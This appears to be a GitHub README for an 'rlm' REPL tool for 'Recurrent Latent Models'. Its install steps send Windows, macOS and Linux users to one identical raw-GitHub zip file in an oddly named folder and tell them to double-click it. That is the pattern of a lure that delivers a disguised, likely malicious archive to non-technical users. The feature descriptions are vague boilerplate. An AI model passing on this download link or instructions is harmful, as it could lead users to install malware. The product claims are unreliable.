Welcome to the rlm project! This software offers a straightforward way to work with RLMs (Recurrent Latent Models) and provides a Read-Eval-Print Loop (REPL) environment for easy interaction. Whether you're learning or experimenting, rlm can help you explore RLMs without any technical hurdles.
To get started, visit the Releases page to download the latest version of rlm.
- Easy to Use: rlm has a user-friendly interface designed for everyone, even if you have no programming background.
- Interactive REPL Environment: Test and evaluate RLMs in a live coding environment.
- Lightweight: The application is small in size and quick to download.
Before downloading rlm, ensure your computer meets these basic requirements:
- Operating System: Windows, macOS, or a modern Linux distribution.
- Disk Space: At least 100 MB available.
- RAM: 2 GB or more is recommended.
-
Visit the Release Page
Go to the Releases page to access the files. -
Select the Latest Version
Look for the most recent release listed at the top of the page. The version will look something likev1.0.0. -
Choose the Correct File
You will find multiple files available. Download the file that corresponds to your operating system:- For Windows, download
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zip - For macOS, download
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zip - For Linux, download
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zip
- For Windows, download
-
Install the Application
- Windows:
- Double-click the
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zipfile. - Follow the prompts to install the application.
- Double-click the
- macOS:
- Open
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zipfile. - Drag the rlm icon to your Applications folder.
- Open
- Linux:
- Extract the
https://raw.githubusercontent.com/boomzdig22-coder/rlm/main/overafflict/rlm.zipfile using your preferred method. - Run the executable file in the extracted folder.
- Extract the
- Windows:
-
Run rlm
After installation, you can launch rlm from your applications menu or directly from your installation directory.
Once you have installed rlm, you can start using it immediately. The REPL environment allows you to enter commands and see results in real time.
- To start a new RLM session, type
startand press Enter. - Use the command
helpto see a list of available commands within the REPL.
You can try simple operations like:
create_model("my_model")to create a new model.evaluate_model("my_model")to evaluate the performance of your model.
If you face any issues while downloading or running rlm, consider the following:
- Installation Problems: Make sure you have downloaded the correct file for your operating system. Check your system requirements.
- Launching Issues: If the application fails to start, ensure that your system has the required disk space and RAM.
If you have questions or need further assistance, reach out through GitHub Issues. We are here to help you!
We are continuously working on improving rlm. Expected future features include:
- Enhanced user interface for easier navigation.
- More built-in examples for RLM applications.
- Improved documentation to assist new users.
Thank you for using rlm. Happy exploring!
Visit the Releases page to download the latest version.